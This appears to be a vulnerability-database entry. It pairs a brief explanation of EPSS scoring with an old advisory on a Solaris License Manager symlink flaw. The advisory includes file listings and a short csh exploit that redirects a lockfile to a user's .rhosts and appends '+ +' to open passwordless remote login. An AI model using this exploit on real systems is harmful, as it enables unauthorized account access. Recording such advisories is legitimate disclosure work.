EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/461/info The Solaris License Manager that ships with versions 2.5.1 and 2.6 is vulnerable to multiple symlink attacks. License Manager creates lockfiles owned by root and set mode 666 which it writes to regularily. It follows symlinks. bash$ ls -l /var/tmp/lock* -rw-rw-rw- 1 root root 0 Oct 21 18:24 /var/tmp/lockESRI -rw-rw-rw- 1 root root 0 Oct 21 16:40 /var/tmp/lockISE-TCADd -rw-rw-rw- 1 root root 0 Oct 21 14:29 /var/tmp/lockalta -rw-rw-rw- 1 root root 0 Oct 21 18:52 /var/tmp/lockansysd -rw-rw-rw- 1 root root 0 Oct 21 18:52 /var/tmp/lockasterxd -rw-rw-rw- 1 root root 0 Oct 21 16:40 /var/tmp/lockhpeesofd -rw-rw-rw- 1 root root 0 Oct 21 18:46 /var/tmp/locksuntechd And: bash$ ls -l /var/tmp/.flexlm total 2 -rw-rw-rw- 1 root root 163 Oct 21 19:55 lmgrd.211 There are several lockfiles created by the License Manager. It is trivial to gain root access locally through exploitation of this vulnerability. ------ #!/bin/csh -f # Change target user name before running # Iconoclast@thepentagon.com 10/98 rm /tmp/locksuntechd ln -s ~targetuser/.rhosts /tmp/locksuntechd exit ------ then wait a min and cat + + >> ~targetuser/.rhosts
